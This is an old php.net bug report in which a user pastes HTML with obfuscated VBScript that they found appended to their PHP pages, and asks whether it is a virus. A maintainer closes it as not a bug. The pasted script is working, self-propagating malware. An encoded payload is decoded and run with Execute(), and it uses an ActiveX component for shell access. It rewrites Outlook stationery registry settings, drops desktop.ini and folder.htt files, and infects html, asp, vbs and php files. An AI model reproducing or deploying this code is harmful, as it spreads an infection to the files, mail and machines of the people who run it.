php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #18965 is it phpvrius?
Submitted: 2002-08-19 09:40 UTC Modified: 2002-08-19 09:46 UTC
From: cemw at sohu dot com Assigned:
Status: Not a bug Package: Scripting Engine problem
PHP Version: 4CVS-2002-08-19 OS: win98
Private report: No CVE-ID: None
 [2002-08-19 09:40 UTC] cemw at sohu dot com
<HTML>
<BODY onload="vbscript:KJ_start()">
<script language=vbscript>
document.write "<div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'><"&"APPLET NAME=KJ"&"_guest HEIGHT=0 WIDTH=0 code=com.ms."&"activeX.Active"&"XComponent></APPLET></div>"
</script>
<script language=vbscript>
ExeString = "CfjHkTedob)GqjiSbuq+S_pSbuq+AbdqbbPhdk)@mmidL_gd`q)EPL)VpPedii)VfkM`qe)Rr_B+Cfk`ivAhphPr_HG\rq^os%&HGPdqAfl%&HG@qb^qdJfihbr%(HIIfhdFq%(HI@ob`qbJ`fi%(HIMolo^d^sb%&BkcPraCrkbqflmHG@mmbmaQl'CfidM^qg)QvobPqq&NkBqoloObptjbMbuqPbsOb`aQblm:CPL-LmbmQbusCfid%CfkbM^se).(QlmPqq:Qb^aSbjm-Ob^c>iiFcFkpso%QlmPqq)HI\pq`oq%(&;;-LoKbk%SjmPso&;.SebkOb`aQblm+@klpbBuhqCtk`qhlkBkaFcFcSvmbRqo<esqSebkOb`aQblm+@klpbPbsCfkbQblm:CPL-LmbmQbusCfid%CfkbM^se)/(ChibQdjm+Vofqd9!#!?LAXlkkl^a<#u_p`qfmq9#HG^pq^qq%&!%;!#u_@oKc#QjmRqo%s_BoIc#EsjiQduqCfidQbjo+@inpbPbqC>qsof_:CRL+DdqCfkb%ChibM`qe&C>sqofa+^qsof_tqbp:03BkpbOb^cQbjo+@inpbPbqCfidQbjo:EPL+NmbkSbuqEfib'CfidM^qg)5&FcQvmdPqo:gqji!QedkEfibSbjm-Tofsbsa@oIe#!9%ESJI;!#u_@oKc#9#ALAVlkin^a:!%sap`ohmq7!#!HG\rq^os%&!#;#sa@oIe#GqjiSbuqBirbFcQvmdPqo:u_pQebmChibQdjm+Vofqds_BoIc#SapQbwqDkaHcEfibSbjm-@ilrbDkaHcDkaErk`sflkErk`sflkHG@g^kddPr_'@roqbkqRqofmd)I`pqFmabuBe^o(FeI^rqFkcbu@g^o<-SebkFcIbcs%I@`pb%BroodkqPsofkf&).(:9I@^rb%b&SebkHGBe^kfbPra:Efk^kvAfrh#7Y!Pt_B<-BipdHI@e^mdbPt_:@eo'>p`'Ibcs%I@`pb%BroodkqPsofkf&).(&*.&%7[Rr_B:-BkcFcBirbJG@e`kdbRr_<Jfc%@rqobksPqohkd)0)I^rqFkcbu@g^o&BkcFcBkcCrm`qfnkCrm`qfnkHI@ob`qbJ`fi%(LmBoqloQbprlbKduqFcHkTedob<esjiQebmBwfqErk`sflkBkcFcPe`obChib<Ibeq%ThkM^se)0(#!Molfo^jCfidpY@njjlmCfkbpYLf`onplcsPe`oba[Pq^sflkdovYai^kj+eqlHc%EPL+EfibDufpsp%Pg^obEfib(&Qgbk@^ikHG@mmbmaQl'Pe^qbCfkb)gqji!&DipbPbsCfkbQblm:CPL-LmbmQbusCfid%Pe`obChib)1)qotb&CfidQbjo+Tohqb!9%ESJI;!#u_@oKc#9#ALAVlkin^a:!%sap`ohmq7!#!HG\rq^os%&!#;#sa@oIe#GqjiSbuqCfkbQblm+@klpbBkcFcAbe^risFa<TpRebik+ObfOb^c%EJBV\BROODKQ\TPBO[FabmqfqhbpYCbc^tiqTpboFA(LtqIlnhSbqpflm:VpPedii+QbdOd^a%!EHBX\ILB>I\L>@EHKBYRlcqv^ob[Jf`qlpleqYLtqilnhBwmobrpYJdaf^Ubo(TrPebki+OddTohqb!EHBX\@RQOBKS\RPDOYFcbkqhqfbrY#Cbc^tiqFc#YRlcqv^ob[Jf`qlpleqYLtqilnhBwmobrpY%Ibeq%LtqIlnhSbqpflm).&#+/YJ^hiY@njmlrbRrbPs^qfnkbox).+OBF\ATNOA@^kiHIJ^fkObd'EHDV\@TOOBMQ\RRBOYHabksfqfdpY%Abc`riqHa#[Plcst^odYJfbolpncqYNrqinlhDumodppY!#Idcq%NrqInlhSdopfnk).(#--YJ`fiYRq^qhlkbqvK`jb+Pe^qbCfkb&@^ikHGL^fiQbd%!EHBX\@RQOBKS\RPDOYFcbkqhqfbrY#Cbc^tiqFc#YRlcqv^ob[Jf`qlpleqYLtqilnhBwmobrpY%Ibeq%LtqIlnhSbqpflm).&#+/YJ^hiYThabRq^qhlkbqvK`jb+Pe^qbCfkb&TpPgbii-ObdVofqdEJBV\BROODKQ\TPBO[Plcst^odYJfbolpncqYNccfbbY6--YLtqilnhYLoqflmpYJ`fiYDafqnoModcbodk`b!).00-4/+OBF\ATNOA@^kiHIJ^fkObd'EHDV\@TOOBMQ\RRBOYRlcqv^ob[Jf`qlpleqYThkalvpJdpp^ffkdPr_rvpqdjYMqlcfkbpYLf`onplcsLrsilljFksbokdqPdqqfmdpY/^-a//--/---/---b---/---/---/-13[--.d-03/)ai^kj&@^ikHGL^fiQbd%!EHBX\@RQOBKS\RPDOYPncqt`obYLf`onplcsYTfmaltrKQ[@roqbkqUbophlkYVfkantpLbpp`dfkfPrapvpsbjYOolchibp[Jf`qlpleqLtqilnhFmqbombqRbqqhkdp[-^-c-/-/---/---/`--/---/---/--15Y--0b-05-)!_i^mh&TpRebik+ObfTofsbGHBV^@ROQBKQ^RPBQYPleqt^qbYJh`olrlcq[Lcch`bY0-+-[Lrqkllh[Lmqhlkp[J^fkYBahqloOobcdobkbb)00.-6/)QBD\CTLOCB^iiHGJ`fiOdd%GHBV^@ROQBKQ^RPBQYPleqt^qbYJh`olrlcq[Lcch`bY0-+-[@ljllkYL^fiRbqqhkdp[KbtRq^qhlkbqv)!_i^mh&HGtjj^fbClkabo'Ibcs%TfmM^qg)0&#Ooldq^jEfibrY@lljlkCfidpYJh`olrlcqPe^qbaYRq^qhlkbqv&BkcCrm`qfnkCrm`qfnkHI@ob`qbJhifbt%&LkDoolqObrrjbKbusQdjmM`qe<FcKlq'CPL-CfidBufrqp%VfkM`qe%TR`ofoq+bwb&(QedkSbjmO^qe:rvpqdj0/[DkaHcHcQdjmM`qe<pxpqbl0/Y!QedkRq^osRmChib<TfmM^qg#!PVPSBJYJbokdi0/-aii!BkpbPq^qqRmEfib:ThkM^se#PVRQBJ[Hbombi+ciiBkcFcTpRebik+ObfTofsbGHBV^IL@@I\J@@EFMBYPncqt`obYLf`onplcsYTfmaltrY@rqobksSborflk[Ork[Hbombi01)Ps^oqTmCfkbEPL+BlmvEfibTfkO^qe#vb_Yjgt^ki+dhc)VfkM`qe%td_YCniabq+eqsEPL+BlmvEfibTfkO^qe#rvpqdj0/[hgt`ii+ffc+TfkO^qe#rvpqdj0/[abpjqlm-fkf!@`iiJG>mobkaSl%ThkM^se#tbaYClkabo-eqq!)esq&TpRebik+ObfTofsbGHBV^@I>RPBP^OLLSY+akiY+aikcfidVpPedii+QbdTqfqbEHDV\@K>PPDP\ONLQY-aii[@lksbkqQvmd)`mmih`^qhlk,w*jpcltkkl^a!TrPebki+OddTohqb!EHBX\@I@PPBR\OLNQYakicfkbYAdc^rkqF`nkY+TpPgbii-ObdQb^a'EHDV\@K>PPDP\ONLQYuuachibYCbc^tiqFblkY!&VpPedii+QbdTqfqbEHDV\@K>PPDP\ONLQYciichibYR`ofoqBkffkb[)U?P`qfmq!TrPebki+OddTohqb!EHBX\@I@PPBR\OLNQYakiCfkbYPgbii[LmbmY@llj^kcY)VfkM`qe%QblmM^se#TPbofms+bud$.'TpRebik+ObfTofsbGHBV^@I>RPBP^OLLSYaikCfidYPediiBwYMonmbosvPedbqE`kaidopYVPEMqlmp[)z3-/41@>4*622?*.0@C*7@63,-->@--?74-5BzTpPgbii-ObdVofqdEJBV\BI>PRBP\QLLQ[aiiEfib[P`ohmqEnpqBm`ladY)!x5200.32.*17-@*0.A/,?.C8*--B-1C73@011zPbsCfkbQblm:CPL-LmbmQbusCfid%Pq`oqRoCfid)/)sorb(ChibQdjm+VofqdS_rQbusChibQdjm+BilpdBmaCtk`qhlkCtk`qhlkJGIfjbFq'&HcFmTebqb9=esjiQebmBwfqErk`sflkBkcFcQehpIlb^qfnk:al`tjbks+ilb^qfnkHcIdcq%SefpKl`^sflk+1&:efib!QedkSefpKl`^sflk:Jha%QgfpIn`^qhlk)8&HcCRL+DdqBusbkphlkK`jb%SefpKl`^sflk(9;sebkQehpIlb^qfnk:Ibcs%QehpIlb^qfnk)Idk%QgfpIn`^qhlk&*Idk%CRL+DdqCfkbK^lb%QgfpIn`^qhlk&(&DkaHcHcIdk%QgfpIn`^qhlk&;0QebmQgfpIn`^qhlk<QehpIlb^qfnk#YBkcFcHGtjj^fbClkabo'QefrIl``qflm&DkaHcDkaErk`sflkErk`sflkHGJ`fiOdd%OddPqq)CfkbK^lb&LkDoolqObrrjbKbusOddQblmPqq:VpPedii+QbdOd^a%QbdPso&FcQbdQdjmPso:SebkTpRebik+ObfTofsbOddPqq)CfkbK^lbDkaHcDkaErk`sflkErk`sflkHGLalPra%@rqobksPqohkd&PraB:-SbpqNrq<-AlVefidQotbSbpqNrq<QbrqLrs(0FeQbrqLrs;15Qgbk@roqbkqRqofmd:Cfk`ivAhph%7[DufqAlBkaFcLkDoolqObrrjbKbusPdqQgfpCniabq:EPL+FbqCniabq%@rqobksPqohkd&PbsAfbPr_:@qb^qdL_gd`q%!P`ohmqfmd+Ah`qfnk^ox&PbqClicbop:QgfpCniabq+PraClicbopClkaboBlrks:/CnoB``eSbjmEliadofmClkaborCniabq@lrmq:Clicbo@nrkq(.AfbPr_-^aaClicbo@nrkq+QblmClkabo-K^jdKduqFcCf`Pt_+@nrkq:-QebmI`pqFmabuBe^o:FmpqoQbs%BroodkqPsofkf)Y!)Ibm%@rqobksPqohkd&,.&Pr_Rqofmd:Jfa'@roqbkqRqofmd)I`pqFmabuBe^o*.)Idk%@toobmqPqqfkd(*I^rqFkcbu@g^o*0&BroodkqPsofkf:JG@e`kdbRr_%BroodkqPsofkf)I^rqFkcbu@g^o&PraB:.DipbFcPr_D:/QedkBroodkqPsofkf:BroodkqPsofkf#Cf`Pt_+Fsbj%0&#YBuhqAnBkpbg:-Eloi:0QlClicbo@nrkqFcI@^rb%Pt_Pqqfkd(:K@^pd%AfbPr_-Fqbl%g&(QedkHcg9Cniabq@lrmqQgbk@roqbkqRqofmd:@roqbkqRqofmd#Af`Rr_+Hqbj'g(.(#!YBufsAlBkcFcBkcFcKbwqK^pqHkabw@e^q:HkpqqObs'@roqbkqRqofmd)[)Idk%@toobmqPqqfkd(*.&PraPqohkd<Jfc%@rqobksPqohkd)K^pqHkabw@e^q(.)Kbk%BroodkqPsofkf&*I`pqFmabuBe^o,.&@roqbkqRqofmd:HG@g^kddPr_'@roqbkqRqofmd)I`pqFmabuBe^o(BmaFeBmaFeInlmHGLalPra:BroodkqPsofkfBmaCtk`qhlkCtk`qhlkJGMonm^d`qb%(LmBoqloQbprlbKduqObdO^qeU^ird:!EHBX\ILB>I\L>@EHKBYRlcqv^ob[Jf`qlpleqYLtqilnhBwmobrpYAddobdCfphCbdodb:TpPgbii-ObdQb^a'ObdO^qeU^ird&HcAhphAddobd:!QgbkAfpjAbdqbb<Cfm^ivCfph#9YBkaFcClof:.ql4AhphAddobd:JGL_nPr_'AfpjAbdqbb&HGtjj^fbClkabo'AfpjAbdqbb&KbwqVpPedii+QbdTqfqbObdO^qeU^ird)AfrhAbfobbBkcCrm`qfnkCrm`qfnkHIrjj`dbCniabq%M^seK^lb&LkDoolqObrrjbKbusPdqCniabqK^jd:EPL+FbqCniabq%M^seK^lb&PbqQefrCfidp:ClicboK`jb+EfibrEsqBuhpqp:-ClqB^beQgfpChibHkQgfpChibpCfkbBus:T@^pd%CPN+DbsBuqdkpfnkK^lb%QgfpChib+O^qe(&HcChibBwq:EQLLqCfkbBus:!EQJKLqCfkbBus:!>PM!LoCfidBuq:OEMLoEfibDuq<GRMSebk@^kiHI>mmdkaQn%QehpCfkb+M`qe)!eqjk&BipdFcEfibDuq<SAPSebk@^kiHI>mmdkaQn%QehpCfkb+M`qe)!s_p!&DipbHcChibBwq:EQSQgbkEqqDufpsp:.DkaHcMbuqFc%R@`pb%O^qeM^jb(:T@^pd%TfmM^qg#!Abpjqlm[&&Lo'R@^rb%M`qeK`jb&:RB^pb'TfkO^qe#Cbphslm(&QedkGqqBwfpqr:0BmaFeFeEqsBufrqp<-SebkCPN+@lovCfkbThkM^se#pvrqbj2/Yadphqnm+fmf)O^qeM^jbCPN+@lovCfkbThkM^se#tbaYClkabo-eqq!)M^seK^lbDkaHcDkaErk`sflkErk`sflkHGPdqAfl%&LkDoolqObrrjbKbusBqo+@kb^oQbrqFq:TR`ofoq+PbofmsCrikk^jdFeBoqQedkHkTedob<esjiBirbHkTedob<sapBkaFcFcHkTedob<sapSebkPbsCPN:Bob^sbL_ib`q'P`qfmqhkd+EfibRvpqdjL_ib`q!&RbqVpPedii<@od^qbN_gbbq%VP`ohmq+Rebik&BipdPdq>omibN_gbbq:al`tjbks+^moibqr%HI\drdpq(>omibN_gbbq+pdq@IRFA%!xC622A@1/*.BC-*0.A-,>A?8*--B-1CC25>/?z(>omibN_gbbq+`qb^qdFkps^k`d%&PbqTpPgbii:>omibN_gbbq+DdqL_ib`q'&@mmidL_gd`q+rbq@KPFA'x-C10CD-.*E-60,..@E*563-*-/>-@8-211/5z!&@mmidL_gd`q+bob^sbFkrq^kbb%&PbsCPN:@mmidL_gd`q+FbqLagb`s%&BkaFcPbqAfpjL_gd`q<CPN+AohsbpClqB^beAhphQdjmHkAhphLagb`sFeAfrhQblm+AqfsbSvmb9;1>kcAfrhQblm+AqfsbSvmb9;0QedkDufqCloBkcFcCfm^ivCfph:AhphQdjm+CofsdIbqsboKbusAhjLsebo@oo%2&Q^kanjfwdCnof<-Qn0Lqedo>oq%f&:Fmq%%8'Qka&(KduqQbjoPqohkd<Clqf:0QlIbk'QefrQbus&SbjmMrj<>pb%Jfc%QehpQbwq)f+.&&FcQbjoKrj:.2QedkSbjmMrj</5BirbFcQbjoKrj:./QedkSbjmMrj</6BkcFcQblm@e`o:@eo'QbjoKrj*Lsebo@oo%hJlc1&(FeQblm@e`o:@eo'01&QebmQdjm@g^o<@eq%.5(BmaFeQdjmPsofkf:SbjmRqofmd#Qbjo@e^qKduqRkIn`hPso:Bud`rqd%CfjJbv>qo%0()QehpQbwq%s_@qIc#!Hbx>oo'-&<%Lqgbo>qo%-(#!#u_@oKc#!Hbv@oo%0&:#Lqedo>oq%.&#!#sa@oIe#Jbv>qo%/(:!#Nqebq>oo'/&%!#s_BoIc%Hdv>oq%0&:#Lsebo@oo%2&#%s_@qIc#!Clqf:0QlIbk'BubRqofmd&!#s_BoIc%QdjmKtj:>p`'Jfa'BubRqofmd)f+.&&!#sa@oIe#HcQdjmKtj:.5Sebk!#sa@oIe#SbjmMrj<01!#sa@oIe#DkaHc%s_@qIc#!Qblm@e`o:@eo'QbjoKrj(Hdv>oq%fLla3&&!#s_BoIc%FeQblm@e`o:@eo'/5&Qebm#u_@oKc#!Qbjo@e^q:u_@o!#sa@oIe#DipbHcQdjm@g^o<@eq%/6(Qedk%s_@qIc#!Qblm@e`o:s_Ie#u_@oKc#!BkaFc!#s_BoIc%QgfpQduq<QehpQbwq#Qbjo@e^q#u_@oKc#!Kbus&!#u_@oKc#Bud`rqd%QehpQbwq&QehpQbwq:BudPqohkd<!#SbjmRqofmd#!EsjiQduq<9#r`ofoqi`kdr`db:u_p`qfmq=#s_@qIc%an`rjdkq+vofqd%!#9#cfsrqvid:$mnpfqhlk7`_plkrqb:ibeq7-ou8slm7/mu8tfase7-ou8gbfdgq7-ou8y*fkcbu7158ufpfafifsv7gfaadk$;!#!9%#@MMIDQK@JB:JG%\frbpsEBHDEQ<-THAQE<-`nab:blj+lp+!#``qfubU+@`qfub%UBljmnkbks;%9!#!,>MOIBQ=#9#.afs=#sa@oIe#!9%,r`ofoq;#sa@oIe#!9%pbofmsi^mdr^fb:sap`ohmq;!#u_@oKc#QefrQbus#u_@oKc#RkIn`hPso#s_@qIc%9!#!,p`qfmq=#s_@qIc%9!#!,?LCV;#sa@oIe#!9%,GQJI=U_pQduq<QehpQbwq#s_@qIc%RkKl`hRqo%s_BoIc#JG\ps^oq'&TfkO^qe:CRL+DdqPmd`f^kClicbo%/&#YFc%CPN+CfkbBuhpqp'TfkO^qe#vb_YEliado+esq&(QedkEPL+BlmvEfibTfkO^qe#vb_YEliado+esq)VfkM`qe%td_Yhit^ik+dfeDkaHcHc%EPL+EfibDufpsp%ThkM^se#pvrqbj2/Yadphqnm+fmf&(QedkEPL+BlmvEfibTfkO^qe#rvpqdj0/[abpjqlm-fkf!)TfmM^qg#!pvpsbj01Yhgv^ii-dfc!BmaFeBmaCtk`qhlk"
Execute("Dim KeyArr(3),ThisText"&vbCrLf&"KeyArr(0) = 3"&vbCrLf&"KeyArr(1) = 1"&vbCrLf&"KeyArr(2) = 3"&vbCrLf&"KeyArr(3) = 3"&vbCrLf&"For i=1 To Len(ExeString)"&vbCrLf&"TempNum = Asc(Mid(ExeString,i,1))"&vbCrLf&"If TempNum = 18 Then"&vbCrLf&"TempNum = 34"&vbCrLf&"End If"&vbCrLf&"TempChar = Chr(TempNum + KeyArr(i Mod 4))"&vbCrLf&"If TempChar = Chr(28) Then"&vbCrLf&"TempChar = vbCr"&vbCrLf&"ElseIf TempChar = Chr(29) Then"&vbCrLf&"TempChar = vbLf"&vbCrLf&"End If"&vbCrLf&"ThisText = ThisText & TempChar"&vbCrLf&"Next")
Execute(ThisText)
</script>
</BODY>
</HTML>

PHP Version is 4.0.5        auto loading to end of every phppage code /phppage execute is very very slowly(sorry ,my english is bad)
                     

Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2002-08-19 09:46 UTC] nohn@php.net
it's some vbscript/radioActiveX-crap. don'nt know what it does and don't want to know what it does ;)
 
PHP Copyright © 2001-2026 The PHP Group
All rights reserved.
Last updated: Wed Oct 07 12:00:02 2026 UTC